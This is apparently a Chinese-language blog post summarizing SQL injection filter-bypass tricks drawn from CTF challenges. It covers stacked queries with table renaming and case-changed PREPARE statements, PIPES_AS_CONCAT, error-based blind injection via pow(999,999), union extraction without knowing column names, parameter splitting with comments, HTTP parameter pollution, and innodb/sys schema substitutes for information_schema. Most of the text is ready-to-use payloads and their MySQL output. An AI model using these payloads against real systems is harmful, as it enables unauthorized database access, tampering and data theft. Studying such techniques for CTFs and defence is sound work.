SQL Bypass Tricks(二)

继续总结

堆叠注入

1.PDO

2.mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

例1

强网杯随便注

过滤关键词:

preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

不能通过union注入来注入,但可以进行堆叠注入:

1.查看当前数据库的表:

1';show tables;#

得到:

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

2.查看表”1919810931114514”的结构:

1';desc `1919810931114514`;#

得到:

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

3.查看表”words”的表结构:

1';desc words;#

得到:

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
方法一.更改表名列名

可以得出,这个web程序默认显示的内容是查询表wordsdata列的结果:

select * from words where id='';

则将表1919810931114514名字改为wordsflag列名字改为id,那么就能得到flag的内容了(注意,1919810931114514表中不存在id列,则可以将flag列名字改为id)

payload:

1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

分开来看:

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

最后,查看表中所有数据即可:

1'or 1=1#

相关MySQL语法:

1.重命名表名(将表名user改为users):

alter table user rename to users;

2.重命名列名(将字段名username改为name):

alter table users change uesrname name varchar(30);
方法二.使用预处理语句直接查询
1';set @sql=concat('selec','t * from `1919810931114514`;');prepare s from @sql;execute s;deallocate prepare s;#

发现行不通:

strstr($inject, "set") && strstr($inject, "prepare")

strstr这个函数并不能区分大小写,因此使用大写即可绕过:

1';Set @sql=concat('selec','t * from `1919810931114514`;');Prepare s from @sql;execute s;deallocate prepare s;#

即:

1';
Set @sql=concat('selec','t * from `1919810931114514`;#');
Prepare s from @sql;
execute s;
deallocate prepare s;
#

相关MySQL预处理语句语法:

1.set用于设置变量名和值;可用select into进行替换:

select 'show tables' into @a;

2.prepare用于预备一个语句,并赋予名称,以后可以引用该语句

3.execute执行语句

4.deallocate prepare用来释放掉预处理的语句

例2

2019SUCTFEasysql

其查询语句为:

select $_POST['query'] || flag from flag

过滤的关键字有:

and
or
flag
from
...

并且长度限制为40以内

发现能够进行堆叠注入,但不能用强网杯那题的方法了。其预期解为:

query=1;set sql_mode=PIPES_AS_CONCAT;select 1

即:

select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from flag

SQL Mode定义了两个方面:MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查;

PIPES_AS_CONCAT选项将||视为字符串的连接操作符而非运算符;那么上述payload会返回1和flag拼接后的值,相当于:

select concat(1,flag) from flag

非预期解为:

query=*,1

即:

select *,1 || flag from flag

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select 1 || 2;
+--------+
| 1 || 2 |
+--------+
| 1 |
+--------+

mysql> select 3,1 || 2;
+---+--------+
| 3 | 1 || 2 |
+---+--------+
| 3 | 1 |
+---+--------+

盲注过滤条件语句、延迟函数

国赛全宇宙最简单的SQL

过滤:

|、or、sleep、if、benchmark、case

注入回显特点:

1.SQL语法正确的话,如果账号密码不对,会显示 登陆失败

2.SQL语法不正确的话,会显示 数据库操作失败

利用逻辑运算符和溢出报错来进行注入,pow(999,999)这个表达式的值在mysql中超出double范围,会报错;当盲注结果为真时,就会执行到溢出语句报错数据库操作失败,盲注结果为假时,就不会执行溢出语句,从而显示登录失败

1
2
3
4
5
6
7
8
9
10
mysql> select 1 and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'

mysql> select 1 and 1=0 and pow(999,999);
+----------------------------+
| 1 and 1=0 and pow(999,999) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (0.00 sec)

可用函数:pow(999,999) cot(0) exp(999) polygon('asdf') linestring('asdf') updatexml() extractvalue()

在不知道mysql列名的情况下注入

国赛全宇宙最简单的SQL

过滤了or,则不能从information.schema表中获取信息,表名和列名猜解出usernamepassword,但password含有or,不能通过这个列名查询出信息,可以利用以下技巧:

users1表:

1
2
3
4
5
6
7
8
mysql> select * from users1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | fff | asdf |
| 2 | ddd | dfasdf |
+----+----------+----------+
2 rows in set (0.07 sec)

替换列名:

1
2
3
4
5
6
7
8
9
mysql> select 1,2,3 union select * from users1;
+---+-----+--------+
| 1 | 2 | 3 |
+---+-----+--------+
| 1 | 2 | 3 |
| 1 | fff | asdf |
| 2 | ddd | dfasdf |
+---+-----+--------+
3 rows in set (0.03 sec)

根据自己定义的列名查询数据:

1
2
3
4
5
6
7
8
9
mysql> select `2` from (select 1,2,3 union select * from users1)as a;
+-----+
| 2 |
+-----+
| 2 |
| fff |
| ddd |
+-----+
3 rows in set (0.00 sec)

多参数请求拆分

对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入

例如请求URL时,GET参数格式如下:

?a=payload1&b=payload2

将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。

and a=payload1 and b=payload2

这时就可以将注入语句进行拆分,如下所示:

a=union/*&b=*/select 1,2,3,4

最终将参数a和参数b拼接,得到的SQL语句如下所示:

and a=union /*and b=*/select 1,2,3,4

或者这种语句:

select * from images where id='{$id}' or path='{$path}'

让id=\,会得到:

select * from images where id='\' or path='{$path}'

此时反斜线会转义后面的单引号,$path即可逃逸出单引号,从而可进行注入

HTTP参数污染

当一个参数出现多次,不同的中间件可能会解析为不同的结果,例如:

?color=red&color=blue

利用实例:https://www.secpulse.com/archives/46149.html

information_schema.tables替换

innodb

Mysql5.6以上的版本,在mysql库中存在两张与innodb相关的表innodb_table_statsinnodb_index_stats,可以通过查询这两张表来获取表名相关信息:

1
2
3
4
5
6
7
mysql> select group_concat(table_name) from mysql.innodb_table_stats;
+---------------------------------------------+
| group_concat(table_name) |
+---------------------------------------------+
| article,users,gtid_executed,sys_config,user |
+---------------------------------------------+
1 row in set (0.00 sec)

或者:

mysql> select group_concat(table_name) from mysql.innodb_index_stats;

sys.schema

MySQL5.7的新特性;在sys数据库下:

1.schema_auto_increment_columns:该视图的作用简单来说就是用来对表自增ID的监控。

2.schema_table_statistics_with_buffer:查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多表I/O争用的表)降序排序

代替information_schema进行注入查询:

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

MySQL字符拼接

一个字符串可以用单引号+双引号交替使用进行拼接,原理不清楚:

1
2
3
4
5
6
7
8
mysql> select * from user where username = 'adm'"in";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
| 3 | admin | 999999 |
+----+----------+----------+
2 rows in set (0.00 sec)

空格也能达到相同的效果:

1
2
3
4
5
6
7
8
mysql> select * from user where username = 'adm' 'in';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
| 3 | admin | 999999 |
+----+----------+----------+
2 rows in set (0.00 sec)

参考链接:

https://xz.aliyun.com/t/4904

https://www.ctfwp.com/articals/2019national.html#%E5%85%A8%E5%AE%87%E5%AE%99%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84sql

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485809&idx=1&sn=5bde7da3fb89627829e037d2df960e7b&chksm=e89e21a9dfe9a8bf6cde9b14462193f5865a8ad78d75e77fb567717447a837cc189e42d41e27&mpshare=1&scene=23&srcid=#rd

https://blog.csdn.net/weixin_41850404/article/details/86511683

https://www.anquanke.com/post/id/193512#h2-1